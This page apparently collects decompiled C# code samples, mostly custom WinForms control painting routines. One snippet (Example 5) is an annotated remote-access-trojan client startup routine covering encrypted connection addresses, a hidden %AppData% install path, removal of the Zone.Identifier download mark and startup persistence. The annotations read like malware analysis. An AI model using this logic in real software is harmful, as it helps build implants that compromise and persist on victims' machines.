Exemplo n.º 1
0
    // Token: 0x060000CC RID: 204 RVA: 0x0025E4F4 File Offset: 0x0025C6F4
    protected virtual void OnPaint(PaintEventArgs e)
    {
        this.method_0();
        Bitmap   bitmap   = new Bitmap(base.Width, base.Height);
        Graphics graphics = Graphics.FromImage(bitmap);

        this.int_0 = base.Width - 1;
        this.int_1 = base.Height - 1;
        GraphicsPath path       = new GraphicsPath();
        GraphicsPath path2      = new GraphicsPath();
        GraphicsPath path3      = new GraphicsPath();
        Rectangle    rectangle_ = new Rectangle(8, 8, this.int_0 - 16, this.int_1 - 16);
        Graphics     graphics2  = graphics;

        graphics2.SmoothingMode     = SmoothingMode.HighQuality;
        graphics2.PixelOffsetMode   = PixelOffsetMode.HighQuality;
        graphics2.TextRenderingHint = TextRenderingHint.ClearTypeGridFit;
        graphics2.Clear(this.BackColor);
        path = GClass6.smethod_0(rectangle_, 8);
        graphics2.FillPath(new SolidBrush(this.color_0), path);
        path2 = GClass6.smethod_2(28, 2, false);
        graphics2.FillPath(new SolidBrush(this.color_0), path2);
        path3 = GClass6.smethod_2(28, 8, true);
        graphics2.FillPath(new SolidBrush(Color.FromArgb(60, 70, 73)), path3);
        if (this.Boolean_0)
        {
            graphics2.DrawString(this.Text, this.Font, new SolidBrush(this.color_1), new Rectangle(16, 16, this.int_0, this.int_1), GClass6.stringFormat_0);
        }
        base.OnPaint(e);
        graphics.Dispose();
        e.Graphics.InterpolationMode = InterpolationMode.HighQualityBicubic;
        e.Graphics.DrawImageUnscaled(bitmap, 0, 0);
        bitmap.Dispose();
    }
Exemplo n.º 2
0
    // Token: 0x06000158 RID: 344 RVA: 0x00006448 File Offset: 0x00004648
    protected virtual void OnPaint(PaintEventArgs e)
    {
        this.method_0();
        Bitmap   bitmap   = GControl5.smethod_3(GControl5.smethod_1(this), GControl5.smethod_2(this));
        Graphics graphics = GControl5.smethod_4(bitmap);

        this.int_0 = GControl5.smethod_1(this) - 1;
        this.int_1 = GControl5.smethod_2(this) - 1;
        GraphicsPath graphicsPath_  = GControl5.smethod_5();
        GraphicsPath graphicsPath_2 = GControl5.smethod_5();
        GraphicsPath graphicsPath_3 = GControl5.smethod_5();
        Rectangle    rectangle_     = new Rectangle(8, 8, this.int_0 - 16, this.int_1 - 16);
        Graphics     graphics2      = graphics;

        GControl5.smethod_6(graphics2, SmoothingMode.HighQuality);
        GControl5.smethod_7(graphics2, PixelOffsetMode.HighQuality);
        GControl5.smethod_8(graphics2, TextRenderingHint.ClearTypeGridFit);
        GControl5.smethod_10(graphics2, GControl5.smethod_9(this));
        graphicsPath_ = GClass6.smethod_0(rectangle_, 8);
        GControl5.smethod_12(graphics2, GControl5.smethod_11(this.color_0), graphicsPath_);
        graphicsPath_2 = GClass6.smethod_2(28, 2, false);
        GControl5.smethod_12(graphics2, GControl5.smethod_11(this.color_0), graphicsPath_2);
        graphicsPath_3 = GClass6.smethod_2(28, 8, true);
        GControl5.smethod_12(graphics2, GControl5.smethod_11(Color.FromArgb(60, 70, 73)), graphicsPath_3);
        if (this.Boolean_0)
        {
            graphics2.DrawString(GControl5.smethod_13(this), GControl5.smethod_14(this), GControl5.smethod_11(this.color_1), new Rectangle(16, 16, this.int_0, this.int_1), GClass6.stringFormat_0);
        }
        base.OnPaint(e);
        graphics.Dispose();
        e.Graphics.InterpolationMode = InterpolationMode.HighQualityBicubic;
        e.Graphics.DrawImageUnscaled(bitmap, 0, 0);
        bitmap.Dispose();
    }
Exemplo n.º 3
0
    // Token: 0x06000223 RID: 547 RVA: 0x000073A4 File Offset: 0x000055A4
    protected virtual void OnPaint(PaintEventArgs e)
    {
        this.method_1();
        Bitmap   bitmap   = GControl10.smethod_5(GControl10.smethod_3(this), GControl10.smethod_4(this));
        Graphics graphics = GControl10.smethod_6(bitmap);

        this.int_0 = GControl10.smethod_3(this) - 1;
        this.int_1 = GControl10.smethod_4(this) - 1;
        Rectangle    rectangle    = new Rectangle(0, 24, this.int_0, this.int_1);
        GraphicsPath graphicsPath = GControl10.smethod_7();
        GraphicsPath path         = GControl10.smethod_7();
        GraphicsPath path2        = GControl10.smethod_7();
        Graphics     graphics2    = graphics;

        GControl10.smethod_8(graphics2, SmoothingMode.HighQuality);
        GControl10.smethod_9(graphics2, PixelOffsetMode.HighQuality);
        GControl10.smethod_10(graphics2, TextRenderingHint.ClearTypeGridFit);
        GControl10.smethod_12(graphics2, GControl10.smethod_11(this));
        int num    = (int)((float)this.int_2 / (float)this.int_3 * (float)GControl10.smethod_3(this));
        int int32_ = this.Int32_1;

        if (int32_ == 0)
        {
            GControl10.smethod_14(graphics2, GControl10.smethod_13(this.color_0), rectangle);
            graphics2.FillRectangle(GControl10.smethod_13(this.color_1), new Rectangle(0, 24, num - 1, this.int_1 - 1));
        }
        else if (int32_ == 100)
        {
            graphics2.FillRectangle(new SolidBrush(this.color_0), rectangle);
            graphics2.FillRectangle(new SolidBrush(this.color_1), new Rectangle(0, 24, num - 1, this.int_1 - 1));
        }
        else
        {
            graphics2.FillRectangle(new SolidBrush(this.color_0), rectangle);
            graphicsPath.AddRectangle(new Rectangle(0, 24, num - 1, this.int_1 - 1));
            graphics2.FillPath(new SolidBrush(this.color_1), graphicsPath);
            if (this.bool_0)
            {
                HatchBrush brush = new HatchBrush(HatchStyle.Plaid, this.color_2, this.color_1);
                graphics2.FillRectangle(brush, new Rectangle(0, 24, num - 1, this.int_1 - 1));
            }
            if (this.bool_1)
            {
                path = GClass6.smethod_0(new Rectangle(num - 18, 0, 34, 16), 4);
                graphics2.FillPath(new SolidBrush(this.color_0), path);
                path2 = GClass6.smethod_2(num - 9, 16, true);
                graphics2.FillPath(new SolidBrush(this.color_0), path2);
                string s = this.bool_2 ? (this.Int32_1.ToString() + "%") : this.Int32_1.ToString();
                int    x = this.bool_2 ? (num - 15) : (num - 11);
                graphics2.DrawString(s, new Font("Segoe UI", 10f), new SolidBrush(this.color_1), new Rectangle(x, -2, this.int_0, this.int_1), GClass6.stringFormat_0);
            }
        }
        base.OnPaint(e);
        graphics.Dispose();
        e.Graphics.InterpolationMode = InterpolationMode.HighQualityBicubic;
        e.Graphics.DrawImageUnscaled(bitmap, 0, 0);
        bitmap.Dispose();
    }
Exemplo n.º 4
0
    // Token: 0x0600011F RID: 287 RVA: 0x0025FADC File Offset: 0x0025DCDC
    protected virtual void OnPaint(PaintEventArgs e)
    {
        this.method_1();
        Bitmap   bitmap   = new Bitmap(base.Width, base.Height);
        Graphics graphics = Graphics.FromImage(bitmap);

        this.int_0 = base.Width - 1;
        this.int_1 = base.Height - 1;
        Rectangle    rect         = new Rectangle(0, 24, this.int_0, this.int_1);
        GraphicsPath graphicsPath = new GraphicsPath();
        GraphicsPath path         = new GraphicsPath();
        GraphicsPath path2        = new GraphicsPath();
        Graphics     graphics2    = graphics;

        graphics2.SmoothingMode     = SmoothingMode.HighQuality;
        graphics2.PixelOffsetMode   = PixelOffsetMode.HighQuality;
        graphics2.TextRenderingHint = TextRenderingHint.ClearTypeGridFit;
        graphics2.Clear(this.BackColor);
        int num    = (int)((float)this.int_2 / (float)this.int_3 * (float)base.Width);
        int int32_ = this.Int32_1;

        if (int32_ == 0)
        {
            graphics2.FillRectangle(new SolidBrush(this.color_0), rect);
            graphics2.FillRectangle(new SolidBrush(this.color_1), new Rectangle(0, 24, num - 1, this.int_1 - 1));
        }
        else if (int32_ == 100)
        {
            graphics2.FillRectangle(new SolidBrush(this.color_0), rect);
            graphics2.FillRectangle(new SolidBrush(this.color_1), new Rectangle(0, 24, num - 1, this.int_1 - 1));
        }
        else
        {
            graphics2.FillRectangle(new SolidBrush(this.color_0), rect);
            graphicsPath.AddRectangle(new Rectangle(0, 24, num - 1, this.int_1 - 1));
            graphics2.FillPath(new SolidBrush(this.color_1), graphicsPath);
            if (this.bool_0)
            {
                HatchBrush brush = new HatchBrush(HatchStyle.Plaid, this.color_2, this.color_1);
                graphics2.FillRectangle(brush, new Rectangle(0, 24, num - 1, this.int_1 - 1));
            }
            if (this.bool_1)
            {
                path = GClass6.smethod_0(new Rectangle(num - 18, 0, 34, 16), 4);
                graphics2.FillPath(new SolidBrush(this.color_0), path);
                path2 = GClass6.smethod_2(num - 9, 16, true);
                graphics2.FillPath(new SolidBrush(this.color_0), path2);
                string s = this.bool_2 ? (this.Int32_1.ToString() + "%") : this.Int32_1.ToString();
                int    x = this.bool_2 ? (num - 15) : (num - 11);
                graphics2.DrawString(s, new Font("Segoe UI", 10f), new SolidBrush(this.color_1), new Rectangle(x, -2, this.int_0, this.int_1), GClass6.stringFormat_0);
            }
        }
        base.OnPaint(e);
        graphics.Dispose();
        e.Graphics.InterpolationMode = InterpolationMode.HighQualityBicubic;
        e.Graphics.DrawImageUnscaled(bitmap, 0, 0);
        bitmap.Dispose();
    }
Exemplo n.º 5
0
 // Token: 0x060005BB RID: 1467
 private static void smethod_2()
 {
     //判断判断互斥体是否多开,有则失去连接,并且返回
     if (!GClass2.smethod_0(GClass35.string_6))
     {
         GClass0.Disconnect = true;
     }
     if (GClass0.Disconnect)
     {
         return;
     }
     //解密Key
     GClass18.smethod_0(GClass35.string_2);
     //将上线地址解密放进队列在给实体类复制 (说明支持多地址上线)
     Class10.gclass25_0 = new GClass25(GClass6.smethod_0(GClass35.string_1));
     //解密远程文件下载路径 %AppData%/Subdir/client.exe
     GClass0.InstallPath = Path.Combine(GClass35.string_3, ((!string.IsNullOrEmpty(GClass35.string_4)) ? (GClass35.string_4 + "\\") : "") + GClass35.string_5);
     //geoip信息获取ip地理位置国家等信息
     GClass34.smethod_0();
     //判断上线地址是否失败
     if (Class10.gclass25_0.IsEmpty)
     {
         GClass0.Disconnect = true;
     }
     if (GClass0.Disconnect)
     {
         return;
     }
     //删除当前目录下的后缀为:Zone.Identifier
     GClass4.smethod_2(GClass0.CurrentPath);
     //判断当前目录是否是下载目录如果不是则进入
     if (GClass35.bool_0 && !(GClass0.CurrentPath == GClass0.InstallPath))
     {
         //互斥体存在则关闭
         GClass2.smethod_1();
         //运行下载路径的文件
         GClass13.smethod_0(Class10.client_0);
         return;
     }
     //用户状态更新线程 五秒更新一次
     GClass3.smethod_2();
     //添加程序到用户启动项
     if (GClass35.bool_1 && GClass35.bool_0 && !GClass16.smethod_1())
     {
         GClass0.AddToStartupFailed = true;
     }
     //添加并初始化实体类
     Class10.smethod_1();
     if (GClass35.bool_3)
     {
         if (Class10.threadStart_0 == null)
         {
             Class10.threadStart_0 = new ThreadStart(Class10.smethod_9);
         }
         new Thread(Class10.threadStart_0).Start();
         return;
     }
 }
Exemplo n.º 6
0
        private void method_10()
        {
            try
            {
                MainWindow.< > c__DisplayClass60_0 CS$ < > 8__locals1 = new MainWindow.< > c__DisplayClass60_0();
                CS$ < > 8__locals1.selected = this.Selected;
                if (CS$ < > 8__locals1.selected != null)
                {
                    if (this._lastSelected == CS$ < > 8__locals1.selected && this._lastMapControl != null)
                    {
                        int renders = this.Renders;
                        this.Renders = renders + 1;
                        if (renders % 100 != 0)
                        {
                            goto IL_67;
                        }
                    }
                    this._lastMapControl = GClass6.smethod_0 <MapControl>(this.MainTabs, new Func <MapControl, bool>(CS$ < > 8__locals1.UchShImKrY));
IL_67:
                    this._lastSelected = CS$ < > 8__locals1.selected;
                    MapControl lastMapControl = this._lastMapControl;
                    if (lastMapControl != null)
                    {
                        lastMapControl.InvalidateVisual();
                    }
                    GClass871 lastSelected = this._lastSelected;
                    if (lastSelected != null)
                    {
                        GClass839 context = lastSelected.Context;
                        if (context != null)
                        {
                            GClass831 stats = context.Stats;
                            if (stats != null)
                            {
                                stats.method_3();
                            }
                        }
                    }
                    GameManager game = CS$ < > 8__locals1.selected.Context.Game;
                }
            }
            catch
            {
            }
            this.LastRender = DateTimeOffset.Now;
        }
Exemplo n.º 7
0
    // Token: 0x06000064 RID: 100 RVA: 0x0025CCC8 File Offset: 0x0025AEC8
    protected virtual void OnPaint(PaintEventArgs e)
    {
        this.method_0();
        Bitmap   bitmap   = new Bitmap(base.Width, base.Height);
        Graphics graphics = Graphics.FromImage(bitmap);

        this.int_0 = base.Width - 1;
        this.int_1 = base.Height - 1;
        GraphicsPath path      = new GraphicsPath();
        Rectangle    rectangle = new Rectangle(0, 0, this.int_0, this.int_1);
        Graphics     graphics2 = graphics;

        graphics2.SmoothingMode     = SmoothingMode.HighQuality;
        graphics2.PixelOffsetMode   = PixelOffsetMode.HighQuality;
        graphics2.TextRenderingHint = TextRenderingHint.ClearTypeGridFit;
        graphics2.Clear(this.BackColor);
        switch (this.genum5_0)
        {
        case GEnum5.None:
            if (this.Boolean_0)
            {
                path = GClass6.smethod_0(rectangle, 6);
                graphics2.FillPath(new SolidBrush(this.color_0), path);
                graphics2.DrawString(this.Text, this.Font, new SolidBrush(this.color_1), rectangle, GClass6.stringFormat_1);
            }
            else
            {
                graphics2.FillRectangle(new SolidBrush(this.color_0), rectangle);
                graphics2.DrawString(this.Text, this.Font, new SolidBrush(this.color_1), rectangle, GClass6.stringFormat_1);
            }
            break;

        case GEnum5.Over:
            if (this.Boolean_0)
            {
                path = GClass6.smethod_0(rectangle, 6);
                graphics2.FillPath(new SolidBrush(this.color_0), path);
                graphics2.FillPath(new SolidBrush(Color.FromArgb(20, Color.White)), path);
                graphics2.DrawString(this.Text, this.Font, new SolidBrush(this.color_1), rectangle, GClass6.stringFormat_1);
            }
            else
            {
                graphics2.FillRectangle(new SolidBrush(this.color_0), rectangle);
                graphics2.FillRectangle(new SolidBrush(Color.FromArgb(20, Color.White)), rectangle);
                graphics2.DrawString(this.Text, this.Font, new SolidBrush(this.color_1), rectangle, GClass6.stringFormat_1);
            }
            break;

        case GEnum5.Down:
            if (this.Boolean_0)
            {
                path = GClass6.smethod_0(rectangle, 6);
                graphics2.FillPath(new SolidBrush(this.color_0), path);
                graphics2.FillPath(new SolidBrush(Color.FromArgb(20, Color.Black)), path);
                graphics2.DrawString(this.Text, this.Font, new SolidBrush(this.color_1), rectangle, GClass6.stringFormat_1);
            }
            else
            {
                graphics2.FillRectangle(new SolidBrush(this.color_0), rectangle);
                graphics2.FillRectangle(new SolidBrush(Color.FromArgb(20, Color.Black)), rectangle);
                graphics2.DrawString(this.Text, this.Font, new SolidBrush(this.color_1), rectangle, GClass6.stringFormat_1);
            }
            break;
        }
        base.OnPaint(e);
        graphics.Dispose();
        e.Graphics.InterpolationMode = InterpolationMode.HighQualityBicubic;
        e.Graphics.DrawImageUnscaled(bitmap, 0, 0);
        bitmap.Dispose();
    }
Exemplo n.º 8
0
    // Token: 0x06000323 RID: 803 RVA: 0x00008C48 File Offset: 0x00006E48
    protected virtual void OnPaint(PaintEventArgs e)
    {
        this.method_0();
        Bitmap   bitmap   = GControl16.smethod_8(GControl16.smethod_7(this), GControl16.smethod_6(this));
        Graphics graphics = GControl16.smethod_9(bitmap);

        this.int_0 = GControl16.smethod_7(this) - 1;
        this.int_1 = GControl16.smethod_6(this) - 1;
        GraphicsPath graphicsPath  = GControl16.smethod_10();
        GraphicsPath graphicsPath2 = GControl16.smethod_10();
        Rectangle    rectangle_    = new Rectangle(0, 0, this.int_0, this.int_1);
        Rectangle    rectangle     = new Rectangle(GControl16.smethod_11(this.int_0 / 2), 0, 38, this.int_1);
        Graphics     graphics2     = graphics;

        GControl16.smethod_12(graphics2, SmoothingMode.HighQuality);
        GControl16.smethod_13(graphics2, PixelOffsetMode.HighQuality);
        GControl16.smethod_14(graphics2, TextRenderingHint.ClearTypeGridFit);
        GControl16.smethod_16(graphics2, GControl16.smethod_15(this));
        switch (this.genum3_0)
        {
        case GControl16.GEnum3.Style1:
            graphicsPath  = GClass6.smethod_0(rectangle_, 6);
            graphicsPath2 = GClass6.smethod_0(rectangle, 6);
            GControl16.smethod_18(graphics2, GControl16.smethod_17(this.color_2), graphicsPath);
            GControl16.smethod_18(graphics2, GControl16.smethod_17(this.color_3), graphicsPath2);
            graphics2.DrawString("OFF", GControl16.smethod_19(this), GControl16.smethod_17(this.color_2), new Rectangle(19, 1, this.int_0, this.int_1), GClass6.stringFormat_1);
            if (this.Boolean_0)
            {
                graphicsPath  = GClass6.smethod_0(rectangle_, 6);
                graphicsPath2 = GClass6.smethod_0(new Rectangle(Convert.ToInt32(this.int_0 / 2), 0, 38, this.int_1), 6);
                graphics2.FillPath(new SolidBrush(this.color_3), graphicsPath);
                graphics2.FillPath(new SolidBrush(this.color_0), graphicsPath2);
                graphics2.DrawString("ON", this.Font, new SolidBrush(this.color_0), new Rectangle(8, 7, this.int_0, this.int_1), GClass6.stringFormat_0);
            }
            break;

        case GControl16.GEnum3.Style2:
            graphicsPath  = GClass6.smethod_0(rectangle_, 6);
            rectangle     = new Rectangle(4, 4, 36, this.int_1 - 8);
            graphicsPath2 = GClass6.smethod_0(rectangle, 4);
            graphics2.FillPath(new SolidBrush(this.color_1), graphicsPath);
            graphics2.FillPath(new SolidBrush(this.color_3), graphicsPath2);
            graphics2.DrawLine(new Pen(this.color_2), 18, 20, 18, 12);
            graphics2.DrawLine(new Pen(this.color_2), 22, 20, 22, 12);
            graphics2.DrawLine(new Pen(this.color_2), 26, 20, 26, 12);
            graphics2.DrawString("r", new Font("Marlett", 8f), new SolidBrush(this.color_4), new Rectangle(19, 2, base.Width, base.Height), GClass6.stringFormat_1);
            if (this.Boolean_0)
            {
                graphicsPath  = GClass6.smethod_0(rectangle_, 6);
                rectangle     = new Rectangle(Convert.ToInt32(this.int_0 / 2) - 2, 4, 36, this.int_1 - 8);
                graphicsPath2 = GClass6.smethod_0(rectangle, 4);
                graphics2.FillPath(new SolidBrush(this.color_0), graphicsPath);
                graphics2.FillPath(new SolidBrush(this.color_3), graphicsPath2);
                graphics2.DrawLine(new Pen(this.color_2), Convert.ToInt32(this.int_0 / 2) + 12, 20, Convert.ToInt32(this.int_0 / 2) + 12, 12);
                graphics2.DrawLine(new Pen(this.color_2), Convert.ToInt32(this.int_0 / 2) + 16, 20, Convert.ToInt32(this.int_0 / 2) + 16, 12);
                graphics2.DrawLine(new Pen(this.color_2), Convert.ToInt32(this.int_0 / 2) + 20, 20, Convert.ToInt32(this.int_0 / 2) + 20, 12);
                graphics2.DrawString("ü", new Font("Wingdings", 14f), new SolidBrush(this.color_4), new Rectangle(8, 7, base.Width, base.Height), GClass6.stringFormat_0);
            }
            break;

        case GControl16.GEnum3.Style3:
            graphicsPath = GClass6.smethod_0(rectangle_, 16);
            rectangle    = new Rectangle(this.int_0 - 28, 4, 22, this.int_1 - 8);
            graphicsPath2.AddEllipse(rectangle);
            graphics2.FillPath(new SolidBrush(this.color_3), graphicsPath);
            graphics2.FillPath(new SolidBrush(this.color_1), graphicsPath2);
            graphics2.DrawString("OFF", this.Font, new SolidBrush(this.color_1), new Rectangle(-12, 2, this.int_0, this.int_1), GClass6.stringFormat_1);
            if (this.Boolean_0)
            {
                graphicsPath = GClass6.smethod_0(rectangle_, 16);
                rectangle    = new Rectangle(6, 4, 22, this.int_1 - 8);
                graphicsPath2.Reset();
                graphicsPath2.AddEllipse(rectangle);
                graphics2.FillPath(new SolidBrush(this.color_3), graphicsPath);
                graphics2.FillPath(new SolidBrush(this.color_0), graphicsPath2);
                graphics2.DrawString("ON", this.Font, new SolidBrush(this.color_0), new Rectangle(12, 2, this.int_0, this.int_1), GClass6.stringFormat_1);
            }
            break;

        case GControl16.GEnum3.Style4:
            if (!this.Boolean_0)
            {
            }
            break;

        case GControl16.GEnum3.Style5:
        {
            bool boolean_ = this.Boolean_0;
            break;
        }
        }
        base.OnPaint(e);
        graphics.Dispose();
        e.Graphics.InterpolationMode = InterpolationMode.HighQualityBicubic;
        e.Graphics.DrawImageUnscaled(bitmap, 0, 0);
        bitmap.Dispose();
    }
Exemplo n.º 9
0
    // Token: 0x06000072 RID: 114 RVA: 0x0000535C File Offset: 0x0000355C
    protected virtual void OnPaint(PaintEventArgs e)
    {
        this.method_0();
        Bitmap   image_   = GControl1.smethod_3(GControl1.smethod_1(this), GControl1.smethod_2(this));
        Graphics graphics = GControl1.smethod_4(image_);

        this.int_0 = GControl1.smethod_1(this) - 1;
        this.int_1 = GControl1.smethod_2(this) - 1;
        GraphicsPath graphicsPath_ = GControl1.smethod_5();
        Rectangle    rectangle     = new Rectangle(0, 0, this.int_0, this.int_1);
        Graphics     graphics_     = graphics;

        GControl1.smethod_6(graphics_, SmoothingMode.HighQuality);
        GControl1.smethod_7(graphics_, PixelOffsetMode.HighQuality);
        GControl1.smethod_8(graphics_, TextRenderingHint.ClearTypeGridFit);
        GControl1.smethod_10(graphics_, GControl1.smethod_9(this));
        switch (this.genum5_0)
        {
        case GEnum5.None:
            if (!this.Boolean_0)
            {
                GControl1.smethod_16(graphics_, GControl1.smethod_11(this.color_0), rectangle);
                GControl1.smethod_15(graphics_, GControl1.smethod_13(this), GControl1.smethod_14(this), GControl1.smethod_11(this.color_1), rectangle, GClass6.stringFormat_1);
            }
            else
            {
                graphicsPath_ = GClass6.smethod_0(rectangle, 6);
                GControl1.smethod_12(graphics_, GControl1.smethod_11(this.color_0), graphicsPath_);
                GControl1.smethod_15(graphics_, GControl1.smethod_13(this), GControl1.smethod_14(this), GControl1.smethod_11(this.color_1), rectangle, GClass6.stringFormat_1);
            }
            break;

        case GEnum5.Over:
            if (this.Boolean_0)
            {
                graphicsPath_ = GClass6.smethod_0(rectangle, 6);
                GControl1.smethod_12(graphics_, GControl1.smethod_11(this.color_0), graphicsPath_);
                GControl1.smethod_12(graphics_, GControl1.smethod_11(Color.FromArgb(20, Color.White)), graphicsPath_);
                GControl1.smethod_15(graphics_, GControl1.smethod_13(this), GControl1.smethod_14(this), GControl1.smethod_11(this.color_1), rectangle, GClass6.stringFormat_1);
            }
            else
            {
                GControl1.smethod_16(graphics_, GControl1.smethod_11(this.color_0), rectangle);
                GControl1.smethod_16(graphics_, GControl1.smethod_11(Color.FromArgb(20, Color.White)), rectangle);
                GControl1.smethod_15(graphics_, GControl1.smethod_13(this), GControl1.smethod_14(this), GControl1.smethod_11(this.color_1), rectangle, GClass6.stringFormat_1);
            }
            break;

        case GEnum5.Down:
            if (this.Boolean_0)
            {
                graphicsPath_ = GClass6.smethod_0(rectangle, 6);
                GControl1.smethod_12(graphics_, GControl1.smethod_11(this.color_0), graphicsPath_);
                GControl1.smethod_12(graphics_, GControl1.smethod_11(Color.FromArgb(20, Color.Black)), graphicsPath_);
                GControl1.smethod_15(graphics_, GControl1.smethod_13(this), GControl1.smethod_14(this), GControl1.smethod_11(this.color_1), rectangle, GClass6.stringFormat_1);
            }
            else
            {
                GControl1.smethod_16(graphics_, GControl1.smethod_11(this.color_0), rectangle);
                GControl1.smethod_16(graphics_, GControl1.smethod_11(Color.FromArgb(20, Color.Black)), rectangle);
                GControl1.smethod_15(graphics_, GControl1.smethod_13(this), GControl1.smethod_14(this), GControl1.smethod_11(this.color_1), rectangle, GClass6.stringFormat_1);
            }
            break;
        }
        base.OnPaint(e);
        GControl1.smethod_17(graphics);
        GControl1.smethod_19(GControl1.smethod_18(e), InterpolationMode.HighQualityBicubic);
        GControl1.smethod_20(GControl1.smethod_18(e), image_, 0, 0);
        GControl1.smethod_21(image_);
    }